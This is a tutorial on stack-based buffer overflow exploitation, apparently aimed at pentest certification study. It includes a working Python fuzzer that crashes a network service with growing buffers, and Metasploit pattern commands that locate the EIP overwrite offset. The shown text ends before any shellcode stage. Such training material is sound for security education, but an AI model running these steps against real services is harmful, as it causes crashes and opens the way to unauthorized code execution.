buffer-overflow-stack

Buffer Overflow (Stack-Based)

When to Use

• When discovering undocumented memory corruption vulnerabilities in proprietary network services, thick clients, or local binaries.
• During Exploit Development and Reverse Engineering tasks.
• When adapting public PoCs (Proof of Concepts) to bypass specific mitigations or target different OS versions.
• Required foundational knowledge for advanced certifications (OSCP, OSCE, etc.).

Prerequisites

• Vulnerable target application binary (32-bit or 64-bit) for testing
• Debugger configured: Immunity Debugger + Mona.py (Windows) or GDB + pwndbg (Linux)
• Python 3 with pwntools library installed (pip install pwntools)
• Understanding of x86/x64 assembly, calling conventions, and memory layout

Workflow

Phase 1: Fuzzing & Crash Identification

# Concept: Send progressively larger inputs to the target application
# until it crashes, indicating we overwrote the bounds of a buffer.

import socket, time, sys

ip = "10.10.10.10"
port = 9999
timeout = 5

# Create an array of increasing length strings
buffer = []
counter = 100
while len(buffer) < 30:
    buffer.append("A" * counter)
    counter += 100

for string in buffer:
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(timeout)
        s.connect((ip, port))
        s.recv(1024)
        print(f"Fuzzing with {len(string)} bytes")
        s.send(bytes("COMMAND " + string + "\r\n", "latin-1"))
        s.recv(1024)
        s.close()
    except:
        print(f"Could not connect, server likely crashed at {len(string)} bytes.")
        sys.exit(0)
    time.sleep(1)

# Note the approx byte size where the crash occurred (e.g., 2000 bytes)

Phase 2: Finding the Offset (Controlling EIP/RIP)

# Concept: Find EXACTLY which bytes in our buffer overwrite the Instruction Pointer (EIP in 32-bit).

# 1. Generate a unique cyclic pattern using Metasploit
msf-pattern_create -l 2400

# 2. Update exploit script to send this pattern instead of 'A's.
# 3. Crash the application while attached to a debugger (Immunity Debugger / GDB).
# 4. Check the value stored in EIP at the time of the crash (e.g., 356b4234).

# 5. Find the exact offset length
msf-pattern_offset -l 2400 -q 356b4234
# Output: Exact match at offset 2003

# 6. Verify control:
# payload = "A" * 2003 + "B" * 4 + "C" * (2400 - 2003 - 4)
# EIP should now cleanly equal 42424242 (BBBB)